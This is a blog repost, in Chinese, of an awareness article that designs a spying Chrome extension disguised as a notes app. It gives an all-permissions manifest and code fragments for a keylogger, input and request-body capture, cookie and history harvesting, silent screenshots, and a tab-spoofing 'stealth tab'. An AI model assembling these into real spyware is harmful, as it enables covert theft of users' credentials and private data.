Chrome 扩展程序Manifest v3 ,Spy

Manifest v3 可能已经从浏览器扩展中抽离了一些动力,但我认为还有很多东西可以做。为了证明这一点,让我们构建一个 Chrome 扩展来窃取尽可能多的数据。我说的是厨房水槽、整个辣酱玉米饼馅、格林奇掠夺 Whoville 级别的数据盗窃。

这将完成两件事:

  • 探索 Chrome 扩展程序的无限可能

  • 演示如果您不小心安装的内容,您将接触到什么

免责声明:实际上实施这个是邪恶的。您不应滥用扩展程序权限、窃取用户数据或构建恶意浏览器扩展程序。未经美国职业棒球大联盟明确书面同意,不建议实施、衍生扩展或利用这些技术。

基本规则

 
  • 用户不应意识到幕后正在发生任何事情。

  • 不得有任何视觉指示表明任何异常。

    • 没有额外的控制台消息、警告或错误。

    • 没有其他浏览器警告或权限对话框。

    • 没有额外的页面级网络流量。

  • 一旦用户同意了 *咳咳* 充足的权限警告,那就是他们最后一次考虑扩展的权限。

Chrome 扩展程序速成课程

 

如果你不熟悉浏览器扩展的内部结构,那么我们关心的 Evil 扩展有三个组件:

后台 Service Worker

  • 事件驱动。可以用作运行 JavaScript 的 “持久” 容器

  • 可以访问 WebExtensions API 的所有*

  • 无法访问 DOM API

  • 无法直接访问页面

弹出页面

  • 仅在用户交互后打开

  • 可以访问 WebExtensions API 的所有*

  • 可以访问 DOM API

  • 无法直接访问页面

内容脚本

  • 具有对所有页面和 DOM 的直接和完全访问权限

  • 可以在页面中运行 JavaScript,但在沙盒运行时中运行 JavaScript

  • 只能使用 WebExtensions API 的子集

  • 受与页面相同的限制(CORS 等)

*有轻微限制,不包括电池

获取全局权限

 

只是为了好玩,我们的恶意扩展程序会请求所有可能的权限。 https://developer.chrome.com/docs/extensions/mv3/declare_permissions/ 有一个 Chrome 扩展权限列表,我们将大量介绍。

在删除 Chrome 不支持的所有权限后,我们得到以下内容:

{
  ...
  "host_permissions": ["<all_urls>"],
  "permissions": [
    "activeTab",
    "alarms",
    "background",
    "bookmarks",
    "browsingData",
    "clipboardRead",
    "clipboardWrite",
    "contentSettings",
    "contextMenus",
    "cookies",
    "debugger",
    "declarativeContent",
    "declarativeNetRequest",
    "declarativeNetRequestWithHostAccess",
    "declarativeNetRequestFeedback",
    "desktopCapture",
    "downloads",
    "fontSettings",
    "gcm",
    "geolocation",
    "history",
    "identity",
    "idle",
    "management",
    "nativeMessaging",
    "notifications",
    "pageCapture",
    "power",
    "printerProvider",
    "privacy",
    "proxy",
    "scripting",
    "search",
    "sessions",
    "storage",
    "system.cpu",
    "system.display",
    "system.memory",
    "system.storage",
    "tabCapture",
    "tabGroups",
    "tabs",
    "tabs",
    "topSites",
    "tts",
    "ttsEngine",
    "unlimitedStorage",
    "webNavigation",
    "webRequest"
  ],
}

manifest.json

这些权限中的大多数都不需要,但谁在乎呢?让我们看看警告消息是什么样子的:

Chrome 会滚动权限警告消息容器,因此超过一半的警告消息甚至没有显示。我敢打赌,大多数用户不会三思而后行地安装一个似乎只需要 5 个权限的扩展。

量权限警告列表如下:

  • 首屏:

    • 访问页面调试程序后端

    • 读取和更改网站上的所有数据

    • 检测您的实际位置

    • 读取和更改您所有已登录设备的浏览历史记录

    • 显示通知

  • 非首屏:

    • 阅读和更改书签

    • 读取和修改您复制和粘贴的数据

    • 捕获屏幕内容

    • 管理您的下载内容

    • 识别并弹出存储设备

    • 更改您的设置,使网站访问 cookie、JavaScript、插件、地理位置、麦克风、摄像头等功能。

    • 管理您的应用程序、扩展程序和主题背景

    • 与协作的本机应用程序通信

    • 更改与隐私相关的设置

    • 查看和管理您的标签页组

    • 使用口语合成语音朗读所有文本

让我们添加一个在所有页面和框架中运行的内容脚本,将扩展的覆盖范围扩展到隐身窗口,并使我们的所有资源都可以访问,以备不时之需:

{
  ...
  "web_accessible_resources": [
    {
      "resources": ["*"],
      "matches": ["<all_urls>"]
    }
  ],
  "content_scripts": [
    {
      "matches": ["<all_urls>"],
      "all_frames": true,
      "css": [],
      "js": ["content-script.js"],
      "run_at": "document_end"
    }
  ],
  "incognito": "spanning",
}

manifest.json

扩建立面

 

我们令人发指的扩展程序将伪装成一个笔记应用程序:

这为我们提供了一个会经常打开的扩展页面,允许我们静默地执行恶意的数据收集。我们还将使用后台 Service Worker。

分析和数据泄露

 

生命短暂,互联网速度很快,存储空间便宜。我们的扩展决定收集的任何数据都可以发送到我们通过后台 Service Worker 控制的服务器,用户不会更聪明。这些网络请求只有在决定检查扩展本身的网络活动时才会显示,这很难实现。

想要在网页中添加侵入性用户跟踪吗?没关系!来自后台页面的网络流量不受广告拦截器或其他用户隐私扩展的约束,因此请跟踪您心仪内容的每次点击和击键。(外部网络流量管理器和 PiHole 之类的东西仍然可以工作)

手可得的果实

 

WebExtensions API 让我们几乎可以不费吹灰之力地收集相当多的知识。

饼干

 

chrome.cookies.getAll({})以数组形式检索浏览器的所有 Cookie。

历史

 

chrome.history.search({ text: "" })将用户的整个浏览历史记录作为数组检索。

屏幕截图

 

chrome.tabs.captureVisibleTab()静默捕获用户当前正在查看的任何内容的屏幕截图。我们可以根据需要从内容脚本发送的消息调用此函数 - 甚至可以更频繁地调用我们认为有价值的 URL。API 将图像作为良好的数据 URL 字符串返回,因此将它们发送到我们的数据收集端点非常简单。

您的浏览器扩展现在是否正在捕获您的屏幕?你永远不会知道!

用户导航

 

我们可以使用 API 轻松实时跟踪用户的浏览活动:webNavigation

chrome.webNavigation.onCompleted.addListener((details) => {
  // {
  //   "documentId": "F5009EFE5D3C074730E67F5C1D934C0A",
  //   "documentLifecycle": "active",
  //   "frameId": 0,
  //   "frameType": "outermost_frame",
  //   "parentFrameId": -1,
  //   "processId": 139,
  //   "tabId": 174034187,
  //   "timeStamp": 1676958729790.8088,
  //   "url": "https://www.linkedin.com/feed/"
  // }
});

background.js

页面流量

 

该 API 允许我们监视来自每个选项卡的所有网络流量,使用 梳理出网络流量,并提取捕获凭据、地址等:webRequestrequestBody

chrome.webRequest.onBeforeRequest.addListener(
  (details) => {
    if (details.requestBody) {
      // Capture requestBody data
    }
  },
  {
    urls: ["<all_urls>"],
  },
  ["requestBody"]
);

background.js

键盘记录器

 

由于每个页面上都运行着内容脚本,因此读取击键非常简单。创建一个定期刷新的击键缓冲区将为我们提供易于阅读的漂亮连续击键。

let buffer = "";

const debouncedCaptureKeylogBuffer = _.debounce(async () => {
  if (buffer.length > 0) {
    // Flush the buffer

    buffer = "";
  }
}, 1000);

document.addEventListener("keyup", (e: KeyboardEvent) => {
  buffer += e.key;

  debouncedCaptureKeylogBuffer();
});

content-script.js

输入捕获

 

从内容脚本中,我们只需侦听 任何可编辑元素上的事件并捕获其值。 input

[...document.querySelectorAll("input,textarea,[contenteditable]")].map((input) =>
  input.addEventListener("input", _.debounce((e) => {
    // Read input value
  }, 1000))
);

content-script.js

如果我们期望页面 DOM 经常更改(例如,使用 SPA),我们当然不想错过任何有价值的数据。只需设置 a 即可观看整个页面,并根据需要重新应用侦听器。MutationObserver

const inputs: WeakSet<Element> = new WeakSet();

const debouncedHandler = _.debounce(() => {
  [...document.querySelectorAll("input,textarea,[contenteditable")]
    .filter((input: Element) => !inputs.has(input))
    .map((input) => {
      input.addEventListener(
        "input",
        _.debounce((e) => {
          // Read input value
        }, 1000)
      );

      inputs.add(input);
    });
}, 1000);

const observer = new MutationObserver(() => debouncedHandler());
observer.observe(document.body, { subtree: true, childList: true });

content-script.js

剪贴板捕获

 

这个有点棘手。 或任何其他 Clipboard API 方法都会通过权限对话框提示用户,因此这些都是禁止的。 navigator.clipboard.read()

使用 将剪贴板转储到隐藏的输入中是不可靠的,因此我们只能从页面中抓取所选文本。document.execCommand("paste")

document.addEventListener("copy", () => {
  const selected = window.getSelection()?.toString();

  // Capture selected text on copy events
});

content-script.js

(注意:我对此并不完全满意,但现在已经足够了。

捕获地理位置

 

由于 Chrome 对何时以及如何捕获地理定位的限制,地理位置捕获是最棘手的。添加权限 仅允许我们捕获扩展页面内的位置,而不能从内容脚本中捕获位置。如果弹出窗口打开得足够频繁,这可能就足够了。geolocation

navigator.geolocation.getCurrentPosition(
  (position) => {
    // Capture position
  },
  (e) => {},
  {
    enableHighAccuracy: true,
    timeout: 5000,
    maximumAge: 0,
  }
);

popup.js

如果我们需要更多的地理位置数据,则需要从内容脚本中执行此作。我们需要阻止浏览器生成权限对话框,所以首先我们检查页面是否已经有 geolocation 权限。如果是这样,我们可以静默请求位置。

navigator.permissions
  .query({ name: "geolocation" })
  .then(({ state }: { state: string }) => {
    if (state === "granted") {
      captureGeolocation();
    }
  });

content-script.js

Stealth 选项卡

 

如果你和我一样,你打开了很多选项卡。大多数标签页长时间闲置在那里,而 Chrome 急切地卸载空闲的标签页以释放系统资源。

假设我们需要在用户不注意的情况下在 tab 中打开一个扩展页面。也许我们需要使用 WebExtensions API 执行一些额外的页面级处理。打开和关闭新选项卡会导致选项卡栏中出现大量视觉移动,这太可疑了。相反,让我们重用现有选项卡,使其看起来像旧选项卡。

这可能按如下方式工作:

  1. 找到用户没有注意的候选选项卡。

  2. 记录其 URL、网站图标 URL 和标题。

  3. 将该选项卡替换为我们的扩展页面,并立即替换网站图标和标题,使其类似于原始选项卡。

  4. 做坏事。

  5. 页面完成后或用户打开选项卡后,导航回原始 URL。

让我们构建一个概念验证。下面是一个打开 Stealth 选项卡的示例后台脚本:

export async function openStealthTab() {
  const tabs = await chrome.tabs.query({
    // Don't use the tab the user is looking at
    active: false,
    // Don't use pinned tabs, they're probably used frequently
    pinned: false,
    // Don't use a tab generating audio
    audible: false,
    // Don't use a tab until it is finished loading
    status: "complete",
  });

  const [eligibleTab] = tabs.filter((tab) => {
    // Must have url and id
    if (!tab.id || !tab.url) {
      return false;
    }

    // Don't use extension pages
    if (new URL(tab.url).protocol === "chrome-extension:") {
      return false;
    }

    return true;
  });

  if (eligibleTab) {
    // These values will be used to spoof the current page
    // and navigate back
    const searchParams = new URLSearchParams({
      returnUrl: eligibleTab.url as string,
      faviconUrl: eligibleTab.favIconUrl || "",
      title: eligibleTab.title || "",
    });

    const url = `${chrome.runtime.getURL(
      "stealth-tab.html"
    )}?${searchParams.toString()}`;

    // Open the stealth tab
    await chrome.tabs.update(eligibleTab.id, {
      url,
      active: false,
    });
  }
}

background.js

下面是我们的 stealth tab 脚本:


const searchParams = new URL(window.location.href).searchParams;

// Spoof the previous page tab appearance
document.title = searchParams.get('title);
document.querySelector(`link[rel="icon"]`)
  .setAttribute("href", searchParams.get('faviconUrl'));

function useReturnUrl() {
  // User focused this tab, flee!
  window.location.href = searchParams.get('returnUrl');
}

// Check to see if this page is visible on load
if (document.visibilityState === "visible") {
  useReturnUrl();
}

document.addEventListener("visibilitychange", () => useReturnUrl());

// Now do bad things

// Done doing bad things, return!
useReturnUrl();

stealth-tab.js

这里没什么可疑的!

发布到 Chrome Web Store

 

当然,我是在开玩笑。这个扩展会被从审查队列中笑掉。

这个扩展显然是恶意扩展的讽刺漫画,但认为可以使用这种行为的子集是不是很疯狂?当安装看起来值得信赖的 Chrome 扩展程序时(无论这意味着什么),大多数用户都会忽略权限警告消息,无论它们多么可怕。接受权限后,您将受扩展的摆布。

你可能会想:“Matt,这肯定不适用于我!我是一个精明的技术大师,细心、挑剔、听话。没有人能把球拉到我身上。

既然如此,我那位顽固的朋友,请回答这些问题:

  • 不用看,您能说出您现在安装的一半以上的扩展吗?

  • 谁维护它们?它是首次安装时维护它的同一实体吗?是否确定?

  • 真的仔细检查了他们的权限吗?

如果你敢的话,试试看

 

您可以在此处测试 Spy Extension:https://github.com/msfrisbie/spy-extension

我添加了一个选项页面,因此您可以看到扩展程序能够从您的浏览器中吸取的所有掠夺数据。我不打算发布屏幕截图;可以说,该页面的内容有点 妥协。

收集的任何内容都不会离开您的浏览器。真的是这样吗?(不,它没有)

posted on 2025-07-05 11:20  lcs-帅  阅读(27)  评论(0)    收藏  举报

导航